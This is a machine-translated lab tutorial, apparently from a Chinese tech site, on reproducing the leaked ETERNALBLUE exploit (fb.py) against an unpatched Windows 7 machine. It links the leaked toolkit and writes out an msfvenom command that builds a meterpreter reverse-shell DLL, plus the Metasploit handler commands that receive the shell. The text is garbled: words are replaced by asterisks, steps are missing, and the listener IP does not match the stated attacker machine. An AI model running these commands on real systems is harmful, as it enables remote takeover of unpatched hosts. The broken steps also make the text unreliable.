Shulou(Shulou.com)06/01 Report--

Recurrence of the fb.py of the equation ETERNALBLUE

1. Brief introduction of environment

* Machine win2003

Ip:192.168.1.105

* Machine kali:

Ip:192.168.1.106

Target window7 x64 (without smb vulnerability patch)

Ip:192.168.1.100

2. Windows 2003 computer

* installation environment of machine win2003:

Python-2.6.6.msi

Https://www.python.org/download/releases/2.6.6/

Pywin32-221.win-amd64-py2.6.exe:

Https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/

Download address of equation ETERNALBLUE:

Https://codeload.github.com/misterch0c/shadowbroker/zip/master

After installing python, you need to set the environment variable in win2003:

Copy the windows in the entire ETERNALBLUE directory to the * machine win2003

Create a file in the windows directory as: listeningposts

Run phthon fb.py

The following specific commands for executing fb.py on * machine win2003 are as follows. Other commands are executed by enter.

On the computer kali.

Use msf to generate a dll hijacking file:

Msfvenom-p windows/x64/meterpreter/reverse_tcp LHOST=192.168.108.131 LPORT=5555-f dll > / opt/s.dll

Copy the s.dll file to the C disk directory of windows2003:

Enable msfpaylod snooping under msf:

Use exploit/multi/handler

Set lhost 192.168.1.106

Set lport 5555

Set PAYLOAD windows/x64/meterpreter/reverse_tcp

Exploit

4. Then execute under windows2003

Finally, you can see the successful rebound of shell under msf:

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.